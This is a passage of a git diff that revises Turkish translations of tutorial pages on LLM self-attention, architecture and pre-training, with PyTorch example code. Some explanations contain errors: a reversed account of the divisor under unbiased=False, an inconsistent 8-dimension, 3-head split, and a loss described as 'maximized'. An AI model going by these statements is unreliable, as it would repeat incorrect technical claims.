bilgiyi yakalar. -- **Dikkat Ağırlıkları**: Her token'ın diğerlerine göre önemini belirleyen değerler. +- **Tokenler**: Giriş dizisinin bireysel öğeleri (örneğin, bir cümledeki kelimeler). +- **Gömme**: Anlamsal bilgiyi yakalayan tokenlerin vektör temsilleri. +- **Dikkat Ağırlıkları**: Her tokenin diğerlerine göre önemini belirleyen değerler. ### Dikkat Ağırlıklarını Hesaplama: Adım Adım Bir Örnek @@ -39,27 +41,28 @@ Amacımız, **shiny** kelimesi için kendine dikkat kullanarak **bağlam vektör #### Adım 1: Dikkat Puanlarını Hesapla > [!TIP] -> Sadece sorgunun her boyut değerini ilgili token'ınki ile çarpın ve sonuçları toplayın. Her token çifti için 1 değer elde edersiniz. +> Sadece sorgunun her boyut değerini ilgili tokenin boyut değeri ile çarpın ve sonuçları toplayın. Her token çifti için 1 değer elde edersiniz. -Cümledeki her kelime için, **shiny** ile ilgili dikkat puanını, gömmelerinin nokta çarpımını hesaplayarak hesaplayın. +Cümledeki her kelime için, **shiny** ile ilgili dikkat puanını, gömmelerinin noktasal çarpımını hesaplayarak hesaplayın. -**"Hello" ile "shiny" arasındaki Dikkat Puanı** +**"Hello" ve "shiny" arasındaki Dikkat Puanı**
-**"shiny" ile "shiny" arasındaki Dikkat Puanı** +**"shiny" ve "shiny" arasındaki Dikkat Puanı**
-**"sun" ile "shiny" arasındaki Dikkat Puanı** +**"sun" ve "shiny" arasındaki Dikkat Puanı**
#### Adım 2: Dikkat Puanlarını Normalleştirerek Dikkat Ağırlıklarını Elde Et > [!TIP] -> Matematik terimlerinde kaybolmayın, bu fonksiyonun amacı basit, tüm ağırlıkları normalleştirin ki **toplamları 1 olsun**.\ -> Ayrıca, **softmax** fonksiyonu, üstel kısım nedeniyle farklılıkları vurguladığı için, yararlı değerleri tespit etmeyi kolaylaştırır. +> Matematik terimlerinde kaybolmayın, bu fonksiyonun amacı basit, tüm ağırlıkları normalleştirin ki **toplamları 1 olsun**. +> +> Ayrıca, **softmax** fonksiyonu kullanılır çünkü bu, üstel kısım nedeniyle farklılıkları vurgular ve yararlı değerleri tespit etmeyi kolaylaştırır. Dikkat puanlarına **softmax fonksiyonunu** uygulayarak, toplamı 1 olan dikkat ağırlıklarına dönüştürün. @@ -82,7 +85,7 @@ Dikkat ağırlıklarını hesaplama: > [!TIP] > Her dikkat ağırlığını alın ve ilgili token boyutlarıyla çarpın, ardından tüm boyutları toplayarak sadece 1 vektör (bağlam vektörü) elde edin. -**Bağlam vektörü**, tüm kelimelerin gömmelerinin ağırlıklı toplamı olarak hesaplanır, dikkat ağırlıklarını kullanarak. +**Bağlam vektörü**, tüm kelimelerin gömmelerinin ağırlıklı toplamı olarak hesaplanır ve dikkat ağırlıkları kullanılır.
@@ -108,13 +111,13 @@ Ağırlıklı gömmeleri toplama: ### Sürecin Özeti -1. **Dikkat Puanlarını Hesapla**: Hedef kelimenin gömmesi ile dizideki tüm kelimelerin gömmeleri arasındaki nokta çarpımını kullanın. +1. **Dikkat Puanlarını Hesapla**: Hedef kelimenin gömmesi ile dizideki tüm kelimelerin gömmeleri arasındaki noktasal çarpımı kullanın. 2. **Ağırlıkları Elde Etmek için Puanları Normalleştir**: Dikkat puanlarına softmax fonksiyonunu uygulayarak toplamı 1 olan ağırlıklar elde edin. 3. **Bağlam Vektörünü Hesapla**: Her kelimenin gömmesini dikkat ağırlığı ile çarpın ve sonuçları toplayın. ## Eğitilebilir Ağırlıklarla Kendine Dikkat -Pratikte, kendine dikkat mekanizmaları, sorgular, anahtarlar ve değerler için en iyi temsilleri öğrenmek amacıyla **eğitilebilir ağırlıklar** kullanır. Bu, üç ağırlık matrisinin tanıtılmasını içerir: +Pratikte, kendine dikkat mekanizmaları **eğitilebilir ağırlıklar** kullanarak sorgular, anahtarlar ve değerler için en iyi temsilleri öğrenir. Bu, üç ağırlık matrisinin tanıtılmasını içerir:
@@ -130,12 +133,12 @@ Bu matrisler, orijinal gömmeleri dikkat hesaplamaları için uygun yeni bir ala **Örnek** -Varsayalım ki: +Varsayalım: -- Girdi boyutu `din=3` (gömme boyutu) -- Çıktı boyutu `dout=2` (sorgular, anahtarlar ve değerler için istenen boyut) +- Giriş boyutu `din=3` (gömme boyutu) +- Çıkış boyutu `dout=2` (sorgular, anahtarlar ve değerler için istenen boyut) -Ağırlık matrislerini başlatın: +Ağırlık matrislerini başlat: ```python import torch.nn as nn @@ -175,7 +178,7 @@ Nokta ürünlerinin çok büyük olmasını önlemek için, bunları anahtar boy #### Adım 3: Bağlam Vektörlerini Hesapla -İlk örnekte olduğu gibi, sadece tüm değer matrislerini topla ve her birini dikkat ağırlığı ile çarp: +İlk örnekte olduğu gibi, tüm değer matrislerini topla ve her birini dikkat ağırlığı ile çarp:
@@ -249,7 +252,7 @@ attention_weights = torch.softmax(masked_scores, dim=-1) ### Ek Dikkat Ağırlıklarını Dropout ile Maskeleme -**Aşırı uyum sağlamayı önlemek** için, softmax işleminden sonra dikkat ağırlıklarına **dropout** uygulayabiliriz. Dropout, eğitim sırasında **dikkat ağırlıklarının bazılarını rastgele sıfırlar**. +**Aşırı uyum sağlamayı önlemek** için, softmax işleminden sonra dikkat ağırlıklarına **dropout** uygulayabiliriz. Dropout, eğitim sırasında dikkat ağırlıklarının **rastgele sıfırlanmasını** sağlar. ```python dropout = nn.Dropout(p=0.5) attention_weights = dropout(attention_weights) @@ -258,7 +261,7 @@ Bir normal dropout yaklaşık %10-20'dir. ### Kod Örneği -Kod örneği [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb): +Kod örneği için [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb): ```python import torch import torch.nn as nn @@ -326,7 +329,7 @@ print("context_vecs.shape:", context_vecs.shape) ### Kod Örneği -Önceki kodu yeniden kullanmak ve sadece birkaç kez çalıştıran bir sarmalayıcı eklemek mümkün olabilir, ancak bu, tüm başları aynı anda işleyen [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) adresinden daha optimize edilmiş bir versiyondur (pahalı for döngülerinin sayısını azaltır). Kodda görebileceğiniz gibi, her bir token'ın boyutları baş sayısına göre farklı boyutlara bölünmüştür. Bu şekilde, eğer token 8 boyuta sahipse ve 3 baş kullanmak istiyorsak, boyutlar 4 boyuttan oluşan 2 diziye bölünecek ve her baş bunlardan birini kullanacaktır: +Önceki kodu yeniden kullanmak ve sadece birkaç kez çalıştıran bir sarmalayıcı eklemek mümkün olabilir, ancak bu, tüm başları aynı anda işleyen daha optimize bir versiyondur [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) ve pahalı döngü sayısını azaltır. Kodda görebileceğiniz gibi, her bir token'ın boyutları baş sayısına göre farklı boyutlara bölünmüştür. Bu şekilde, token 8 boyuta sahipse ve 3 baş kullanmak istiyorsak, boyutlar 4 boyuttan oluşan 2 diziye bölünecek ve her baş bunlardan birini kullanacaktır: ```python class MultiHeadAttention(nn.Module): def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): @@ -406,10 +409,13 @@ print("context_vecs.shape:", context_vecs.shape) Başka bir kompakt ve verimli uygulama için PyTorch'taki [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) sınıfını kullanabilirsiniz. > [!TIP] -> ChatGPT'nin, her başın tüm token'ların tüm boyutlarını kontrol etmesi yerine token'ların boyutlarını başlar arasında bölmenin neden daha iyi olduğuna dair kısa yanıtı: +> ChatGPT'nin, her başın tüm token'ların tüm boyutlarını kontrol etmesi yerine token'ların boyutlarını başlar arasında bölmenin neden daha iyi olduğu hakkında kısa yanıtı: > -> Her başın tüm gömme boyutlarını işlemesine izin vermek, her başın tam bilgilere erişimi olacağı için avantajlı gibi görünse de, standart uygulama **gömme boyutlarını başlar arasında bölmektir**. Bu yaklaşım, hesaplama verimliliği ile model performansını dengeler ve her başın çeşitli temsilleri öğrenmesini teşvik eder. Bu nedenle, gömme boyutlarını bölmek, her başın tüm boyutları kontrol etmesinden genellikle tercih edilir. +> Her başın tüm gömme boyutlarını işlemesine izin vermek, her başın tam bilgiye erişimi olacağı için avantajlı gibi görünse de, standart uygulama **gömme boyutlarını başlar arasında bölmektir**. Bu yaklaşım, hesaplama verimliliği ile model performansını dengeler ve her başın çeşitli temsilleri öğrenmesini teşvik eder. Bu nedenle, gömme boyutlarını bölmek, her başın tüm boyutları kontrol etmesinden genellikle tercih edilir. ## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/5.-llm-architecture.md b/src/AI/AI-llm-architecture/5.-llm-architecture.md index a1e0af449..bbeff8080 100644 --- a/src/AI/AI-llm-architecture/5.-llm-architecture.md +++ b/src/AI/AI-llm-architecture/5.-llm-architecture.md @@ -1,11 +1,13 @@ # 5. LLM Mimarisi +{{#include /banners/hacktricks-training.md}} + ## LLM Mimarisi > [!TIP] -> Bu beşinci aşamanın amacı çok basit: **Tam LLM mimarisini geliştirmek**. Her şeyi bir araya getirin, tüm katmanları uygulayın ve metin oluşturmak veya metni kimliklere ve geriye dönüştürmek için tüm işlevleri oluşturun. +> Bu beşinci aşamanın amacı çok basit: **Tam LLM mimarisini geliştirmek**. Her şeyi bir araya getirin, tüm katmanları uygulayın ve metin oluşturmak veya metni ID'lere ve geriye dönüştürmek için tüm işlevleri oluşturun. > -> Bu mimari, hem eğitim hem de eğitimden sonra metin tahmini için kullanılacaktır. +> Bu mimari, eğitim ve eğitimden sonra metin tahmini için kullanılacaktır. LLM mimarisi örneği [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb): @@ -14,7 +16,7 @@ Yüksek seviyeli bir temsil aşağıda gözlemlenebilir:

https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31

1. **Girdi (Tokenize Edilmiş Metin)**: Süreç, sayısal temsillere dönüştürülen tokenize edilmiş metinle başlar. -2. **Token Gömme ve Pozisyon Gömme Katmanı**: Tokenize edilmiş metin, kelime sırasını anlamak için kritik olan bir dizideki token'ların konumunu yakalayan bir **token gömme** katmanı ve bir **pozisyon gömme katmanı** aracılığıyla geçer. +2. **Token Gömme ve Pozisyon Gömme Katmanı**: Tokenize edilmiş metin, bir **token gömme** katmanından ve bir **pozisyon gömme katmanından** geçirilir; bu, kelime sırasını anlamak için kritik olan bir dizideki token'ların konumunu yakalar. 3. **Transformer Blokları**: Model, her biri birden fazla katmana sahip **12 transformer bloğu** içerir. Bu bloklar aşağıdaki diziyi tekrarlar: - **Masked Multi-Head Attention**: Modelin girdi metninin farklı kısımlarına aynı anda odaklanmasını sağlar. - **Katman Normalizasyonu**: Eğitimi stabilize etmek ve geliştirmek için bir normalizasyon adımı. @@ -211,7 +213,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) * #### **Amaç ve İşlevsellik** - **GELU (Gaussian Error Linear Unit):** Modelle doğrusal olmayanlık getiren bir aktivasyon fonksiyonu. -- **Düzgün Aktivasyon:** Negatif girdileri sıfıra indiren ReLU'nun aksine, GELU girdileri çıktılara düzgün bir şekilde haritalar, negatif girdiler için küçük, sıfırdan farklı değerler sağlar. +- **Düzgün Aktivasyon:** Negatif girdileri sıfıra indiren ReLU'nun aksine, GELU girdileri çıktılara düzgün bir şekilde eşler ve negatif girdiler için küçük, sıfırdan farklı değerler sağlar. - **Matematiksel Tanım:**
@@ -250,7 +252,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim) - **İkinci Lineer Katman:** Boyutları tekrar `emb_dim`'ye düşürür. > [!TIP] -> Gördüğünüz gibi, Feed Forward ağı 3 katman kullanır. İlk katman, boyutları 4 ile çarpacak lineer bir katmandır (model içinde eğitilecek parametreler). Ardından, daha zengin temsilleri yakalamak için tüm bu boyutlarda doğrusal olmayan varyasyonlar uygulamak üzere GELU fonksiyonu kullanılır ve nihayetinde orijinal boyutlara geri dönmek için başka bir lineer katman kullanılır. +> Gördüğünüz gibi, Feed Forward ağı 3 katman kullanır. İlk katman, boyutları 4 ile çarpacak lineer ağırlıkları (model içinde eğitilecek parametreler) kullanarak bir lineer katmandır. Ardından, daha zengin temsilleri yakalamak için tüm bu boyutlarda doğrusal olmayan varyasyonlar uygulamak üzere GELU fonksiyonu kullanılır ve nihayetinde orijinal boyutlara geri dönmek için başka bir lineer katman kullanılır. ### **Çoklu Başlı Dikkat Mekanizması** @@ -269,7 +271,7 @@ Bu daha önceki bir bölümde açıklandı. - **Çıktı Projeksiyonu:** Tüm başların çıktısını birleştiren lineer katman. > [!TIP] -> Bu ağın amacı, aynı bağlamdaki token'lar arasındaki ilişkileri bulmaktır. Ayrıca, aşırı uyum sağlamayı önlemek için token'lar farklı başlara bölünmüştür, ancak her başta bulunan nihai ilişkiler bu ağın sonunda birleştirilir. +> Bu ağın amacı, aynı bağlamdaki token'lar arasındaki ilişkileri bulmaktır. Ayrıca, aşırı uyumu önlemek için token'lar farklı başlara bölünmüştür, ancak her başta bulunan nihai ilişkiler bu ağın sonunda birleştirilir. > > Ayrıca, eğitim sırasında **nedensel bir maske** uygulanır, böylece belirli bir token'a bakarken sonraki token'lar dikkate alınmaz ve **aşırı uyumu önlemek** için bazı **dropout** uygulanır. @@ -297,7 +299,7 @@ return self.scale * norm_x + self.shift - **`scale` ve `shift`:** Normalleştirilmiş çıktıyı ölçeklendirmek ve kaydırmak için modelin kullanabileceği öğrenilebilir parametreler (`nn.Parameter`). Sırasıyla birler ve sıfırlar ile başlatılır. - **Normalizasyon Süreci:** - **Ortalama Hesaplama (`mean`):** Gömme boyutu boyunca giriş `x`'in ortalamasını hesaplar (`dim=-1`), yayılma için boyutu korur (`keepdim=True`). -- **Varyans Hesaplama (`var`):** Gömme boyutu boyunca `x`'in varyansını hesaplar, boyutu da korur. `unbiased=False` parametresi, varyansın yanlı tahminci kullanılarak hesaplanmasını sağlar (örnek sayısı `N` yerine `N-1` ile bölünerek), bu da örnekler yerine özellikler üzerinde normalleştirme yaparken uygundur. +- **Varyans Hesaplama (`var`):** Gömme boyutu boyunca `x`'in varyansını hesaplar, boyutu da korur. `unbiased=False` parametresi, varyansın yanlı tahminci kullanılarak hesaplanmasını sağlar (örnek sayısı `N` yerine `N-1` ile bölünerek), bu da özellikler üzerinde normalizasyon yaparken uygundur. - **Normalleştirme (`norm_x`):** `x`'ten ortalamayı çıkarır ve varyansın karekökü artı `eps` ile böler. - **Ölçekleme ve Kaydırma:** Normalleştirilmiş çıktıya öğrenilebilir `scale` ve `shift` parametrelerini uygular. @@ -372,7 +374,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim) > Transformer bloğu tüm ağları bir araya getirir ve eğitim istikrarını ve sonuçlarını iyileştirmek için bazı **normalizasyon** ve **dropout** uygular.\ > Dropout'ların her ağın kullanımından sonra yapıldığını, normalizasyonun ise öncesinde uygulandığını not edin. > -> Ayrıca, bir ağın çıkışını girişi ile **eklemeyi** içeren kısa yolları da kullanır. Bu, başlangıç katmanlarının son katmanlar kadar "çok" katkıda bulunmasını sağlayarak kaybolan gradyan sorununu önlemeye yardımcı olur. +> Ayrıca, **bir ağın çıkışını girişiyle eklemekten** oluşan kısa yolları da kullanır. Bu, ilk katmanların son katmanlar kadar "çok" katkıda bulunmasını sağlayarak kaybolan gradyan sorununu önlemeye yardımcı olur. ### **GPTModel** @@ -434,15 +436,15 @@ return logits # Output shape: (batch_size, seq_len, vocab_size) #### **Amaç ve İşlevsellik** - **Gömme Katmanları:** -- **Token Gömme (`tok_emb`):** Token indekslerini gömmelere dönüştürür. Hatırlatma olarak, bunlar kelime dağarcığındaki her tokenin her boyutuna verilen ağırlıklardır. -- **Pozisyonel Gömme (`pos_emb`):** Gömmelere pozisyonel bilgi ekleyerek tokenlerin sırasını yakalar. Hatırlatma olarak, bunlar metindeki pozisyonuna göre tokenlere verilen ağırlıklardır. +- **Token Gömme (`tok_emb`):** Token indekslerini gömmelere dönüştürür. Hatırlatma olarak, bunlar kelime dağarcığındaki her token'ın her boyutuna verilen ağırlıklardır. +- **Pozisyonel Gömme (`pos_emb`):** Gömmelere pozisyonel bilgi ekleyerek token'ların sırasını yakalar. Hatırlatma olarak, bunlar metindeki pozisyonuna göre token'a verilen ağırlıklardır. - **Dropout (`drop_emb`):** Gömmelere düzenleme için uygulanır. - **Transformer Blokları (`trf_blocks`):** Gömmeleri işlemek için `n_layers` transformer bloğunun yığını. - **Son Normalizasyon (`final_norm`):** Çıktı katmanından önce katman normalizasyonu. - **Çıktı Katmanı (`out_head`):** Son gizli durumları kelime dağarcığı boyutuna projekte ederek tahmin için logitleri üretir. > [!TIP] -> Bu sınıfın amacı, **bir dizideki bir sonraki tokeni tahmin etmek** için diğer bahsedilen tüm ağları kullanmaktır; bu, metin üretimi gibi görevler için temeldir. +> Bu sınıfın amacı, **bir dizideki bir sonraki token'ı tahmin etmek** için diğer bahsedilen tüm ağları kullanmaktır; bu, metin üretimi gibi görevler için temeldir. > > **Belirtilen kadar transformer bloğu kullanacağını** ve her transformer bloğunun bir çok başlı dikkat ağı, bir ileri besleme ağı ve birkaç normalizasyon kullandığını not edin. Yani 12 transformer bloğu kullanılıyorsa, bunu 12 ile çarpın. > @@ -507,7 +509,7 @@ embedding_params = 38,597,376 + 786,432 = 39,383,808 qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824 ``` -Üç böyle katman olduğu için: +Bu tür üç katman olduğundan: ```python total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472 @@ -579,7 +581,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816 **a. Son Katman Normalizasyonu** -- **Parametreler:** `2 * emb_dim` (ölçek ve kaydır) +- **Parametreler:** `2 * emb_dim` (ölçek ve kaydırma) ```python pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536 ``` @@ -608,9 +610,9 @@ total_params = 163,009,536 ``` ## Metin Üretimi -Bir önceki gibi bir sonraki token'ı tahmin eden bir modele sahip olmak, çıktının son token değerlerini almak için gereklidir (çünkü bunlar tahmin edilen token'ın değerleri olacaktır), bu da **sözlükteki her giriş için bir değer** olacak ve ardından `softmax` fonksiyonunu kullanarak boyutları 1'e toplam olan olasılıklara normalize etmek ve ardından en büyük girişin indeksini almak, bu da sözlükteki kelimenin indeksi olacaktır. +Bir önceki gibi bir sonraki token'ı tahmin eden bir modele sahip olmak, çıktının son token değerlerini almak için gereklidir (çünkü bunlar tahmin edilen token'ın değerleri olacaktır), bu da **sözlükteki her bir giriş için bir değer** olacak ve ardından `softmax` fonksiyonunu kullanarak boyutları 1'e toplam olan olasılıklara normalize etmek ve ardından en büyük girişin indeksini almak, bu da sözlükteki kelimenin indeksi olacaktır. -[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb) kodu: +[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb) adresindeki kod: ```python def generate_text_simple(model, idx, max_new_tokens, context_size): # idx is (batch, n_tokens) array of indices in the current context @@ -664,3 +666,6 @@ print("Output length:", len(out[0])) ## Referanslar - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md index 8d2d0e14e..5ab86d3a8 100644 --- a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md +++ b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md @@ -1,13 +1,15 @@ # 6. Ön Eğitim ve Modellerin Yüklenmesi +{{#include /banners/hacktricks-training.md}} + ## Metin Üretimi Bir modeli eğitmek için, o modelin yeni token'lar üretebilmesi gerekecek. Ardından, üretilen token'ları beklenenlerle karşılaştırarak modeli **gerekli token'ları öğrenmesi için eğiteceğiz**. -Önceki örneklerde bazı token'ları zaten tahmin ettiğimiz için, bu amaçla o fonksiyonu yeniden kullanmak mümkündür. +Önceki örneklerde bazı token'ları tahmin ettiğimiz için, bu amaçla o fonksiyonu yeniden kullanmak mümkündür. > [!TIP] -> Bu altıncı aşamanın amacı çok basit: **Modeli sıfırdan eğitmek**. Bunun için önceki LLM mimarisi, tanımlı kayıp fonksiyonları ve optimizasyon kullanarak veri setleri üzerinde döngülerle tüm model parametrelerini eğitmek için kullanılacaktır. +> Bu altıncı aşamanın amacı çok basit: **Modeli sıfırdan eğitmek**. Bunun için önceki LLM mimarisi, tanımlanan kayıp fonksiyonları ve optimizasyon ile veri setleri üzerinde döngülerle tüm model parametrelerini eğitmek için kullanılacaktır. ## Metin Değerlendirmesi @@ -16,9 +18,9 @@ Doğru bir eğitim gerçekleştirmek için, beklenen token için elde edilen tah Doğru token'ın olasılığını maksimize etmek için, modelin ağırlıkları, bu olasılığın maksimize edilmesi için değiştirilmelidir. Ağırlık güncellemeleri **geri yayılım** yoluyla yapılır. Bu, **maksimize edilecek bir kayıp fonksiyonu** gerektirir. Bu durumda, fonksiyon **gerçekleştirilen tahmin ile istenen arasındaki fark** olacaktır. Ancak, ham tahminlerle çalışmak yerine, n tabanlı bir logaritma ile çalışacaktır. Yani, beklenen token'ın mevcut tahmini 7.4541e-05 ise, **7.4541e-05**'in doğal logaritması (taban *e*) yaklaşık olarak **-9.5042**'dir.\ -Örneğin, 5 token'lık bir bağlam uzunluğuna sahip her giriş için modelin 5 token tahmin etmesi gerekecek; ilk 4 token, girdinin sonuncusu ve beşincisi tahmin edilen olacaktır. Bu nedenle, her giriş için bu durumda 5 tahminimiz olacak (ilk 4'ü girdi olsa da model bunu bilmez) ve dolayısıyla 5 beklenen token ve 5 maksimize edilecek olasılık olacaktır. +Örneğin, 5 token'lık bir bağlam uzunluğuna sahip her giriş için modelin 5 token tahmin etmesi gerekecek; ilk 4 token girişi sonuncusu ve beşincisi tahmin edilen olacaktır. Bu nedenle, her giriş için bu durumda 5 tahminimiz olacak (ilk 4'ü girdi olsa da model bunu bilmez) ve dolayısıyla 5 beklenen token ve 5 maksimize edilecek olasılık olacaktır. -Bu nedenle, her tahmine doğal logaritma uygulandıktan sonra, **ortalama** hesaplanır, **eksi işareti kaldırılır** (bu _çapraz entropi kaybı_ olarak adlandırılır) ve bu, **0'a mümkün olduğunca yakın bir şekilde azaltılması gereken sayıdır** çünkü 1'in doğal logaritması 0'dır: +Bu nedenle, her tahmine doğal logaritma uygulandıktan sonra, **ortalama** hesaplanır, **eksi sembolü kaldırılır** (bu _çapraz entropi kaybı_ olarak adlandırılır) ve bu, **0'a mümkün olduğunca yakın bir şekilde azaltılması gereken sayıdır** çünkü 1'in doğal logaritması 0'dır:

https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233

@@ -546,7 +548,7 @@ return tokenizer.decode(flat.tolist()) Aşağıdaki `generate_text` fonksiyonu, `top-k`, `temperature` ve `multinomial` kavramlarını uygulayacaktır. - **`top-k`**, en üst k token dışında tüm token'ların olasılıklarını `-inf`'ye düşürmeye başlayacağımız anlamına gelir. Yani, k=3 ise, bir karar vermeden önce yalnızca en olası 3 token'ın olasılığı `-inf`'den farklı olacaktır. -- **`temperature`**, her olasılığın sıcaklık değeri ile bölüneceği anlamına gelir. `0.1` değeri, en yüksek olasılığı en düşük olasılıkla karşılaştırarak artırırken, örneğin `5` sıcaklığı daha düz bir dağılım yaratır. Bu, LLM'nin yanıtlarındaki varyasyonu artırmaya yardımcı olur. +- **`temperature`**, her olasılığın sıcaklık değeri ile bölüneceği anlamına gelir. `0.1` değeri, en yüksek olasılığı en düşük olasılıkla karşılaştırıldığında artırırken, örneğin `5` sıcaklığı daha düz bir dağılım yaratır. Bu, LLM'nin yanıtlarında istediğimiz varyasyonu artırmaya yardımcı olur. - Sıcaklık uygulandıktan sonra, tüm kalan token'ların toplam olasılığının 1 olması için tekrar bir **`softmax`** fonksiyonu uygulanır. - Son olarak, en büyük olasılığa sahip token'ı seçmek yerine, fonksiyon **`multinomial`** uygulanarak **son olasılıklara göre bir sonraki token'ı tahmin eder**. Yani, token 1'in %70 olasılığı, token 2'nin %20 ve token 3'ün %10 olasılığı varsa, %70 oranında token 1 seçilecek, %20 oranında token 2 ve %10 oranında token 3 seçilecektir. ```python @@ -590,24 +592,24 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1) return idx ``` > [!TIP] -> `top-k` için yaygın bir alternatif olan [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), aynı zamanda çekirdek örnekleme olarak da bilinir, en yüksek olasılığa sahip k örneği almak yerine, tüm sonuçlanan **kelime dağarcığını** olasılıklara göre **düzenler** ve en yüksek olasılıktan en düşük olasılığa kadar **toplar** ve bir **eşik değere ulaşana kadar** devam eder. +> `top-k` için yaygın bir alternatif olan [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), aynı zamanda nucleus sampling olarak da bilinir, en yüksek olasılığa sahip k örneği almak yerine, tüm sonuçlanan **vocabulary**'yi olasılıklara göre **düzenler** ve en yüksek olasılıktan en düşük olasılığa kadar bir **eşik değere ulaşana kadar** toplar. > -> Ardından, **yalnızca bu kelimeler** kelime dağarcığının göreli olasılıklarına göre dikkate alınacaktır. +> Ardından, **yalnızca bu kelimeler** vocabulary'den göreceli olasılıklarına göre dikkate alınacaktır. > -> Bu, her durumda optimal k'nın farklı olabileceği için `k` örneği seçmeye gerek kalmadan, **yalnızca bir eşik** belirlemeyi sağlar. +> Bu, her durumda optimal k'nın farklı olabileceği için `k` örneği seçmeye gerek kalmadan **yalnızca bir eşik** belirlemeyi sağlar. > > _Bu iyileştirmenin önceki kodda yer almadığını unutmayın._ > [!TIP] > Üretilen metni iyileştirmenin bir diğer yolu, bu örnekte kullanılan açgözlü arama yerine **Beam search** kullanmaktır.\ -> Açgözlü aramanın her adımda en olası bir sonraki kelimeyi seçip tek bir diziyi oluşturmasının aksine, **beam search her adımda en yüksek puan alan 𝑘 k kısmi dizileri** ( "beams" olarak adlandırılır) takip eder. Birden fazla olasılığı aynı anda keşfederek, verimlilik ve kaliteyi dengeler, açgözlü yaklaşımın erken, alt optimal seçimler nedeniyle kaçırabileceği **daha iyi bir genel** diziyi bulma şansını artırır. +> Açgözlü aramanın her adımda en olası bir sonraki kelimeyi seçip tek bir diziyi oluşturmasının aksine, **beam search her adımda en yüksek puan alan 𝑘 k kısmi diziyi** ( "beams" olarak adlandırılır) takip eder. Birden fazla olasılığı aynı anda keşfederek, verimlilik ve kaliteyi dengeler, açgözlü yaklaşımın erken, altoptimal seçimler nedeniyle kaçırabileceği **daha iyi bir genel** diziyi bulma şansını artırır. > > _Bu iyileştirmenin önceki kodda yer almadığını unutmayın._ ### Loss functions -**`calc_loss_batch`** fonksiyonu, tek bir partinin tahmininin çapraz entropisini hesaplar.\ -**`calc_loss_loader`** tüm partilerin çapraz entropisini alır ve **ortalama çapraz entropiyi** hesaplar. +**`calc_loss_batch`** fonksiyonu, tek bir batch'in tahmininin çapraz entropisini hesaplar.\ +**`calc_loss_loader`** tüm batch'lerin çapraz entropisini alır ve **ortalama çapraz entropiyi** hesaplar. ```python # Define loss functions def calc_loss_batch(input_batch, target_batch, model, device): @@ -635,7 +637,7 @@ break return total_loss / num_batches ``` > [!TIP] -> **Gradient clipping**, büyük sinir ağlarında **eğitim istikrarını** artırmak için kullanılan bir tekniktir; bu teknik, gradyan büyüklükleri için bir **maksimum eşik** belirleyerek çalışır. Gradyanlar bu önceden tanımlanmış `max_norm` değerini aştığında, modelin parametrelerine yapılan güncellemelerin yönetilebilir bir aralıkta kalmasını sağlamak için orantılı olarak ölçeklendirilir. Bu, patlayan gradyanlar gibi sorunları önler ve daha kontrollü ve istikrarlı bir eğitim sağlar. +> **Gradient clipping**, büyük sinir ağlarında **eğitim istikrarını** artırmak için kullanılan bir tekniktir ve gradyan büyüklükleri için bir **maksimum eşik** belirler. Gradyanlar bu önceden tanımlanmış `max_norm` değerini aştığında, modelin parametrelerine yapılan güncellemelerin yönetilebilir bir aralıkta kalmasını sağlamak için orantılı olarak ölçeklendirilir, bu da patlayan gradyanlar gibi sorunları önler ve daha kontrollü ve istikrarlı bir eğitim sağlar. > > _Bu iyileştirmenin önceki kodda yer almadığını unutmayın._ > @@ -647,15 +649,15 @@ return total_loss / num_batches `create_dataloader_v1` 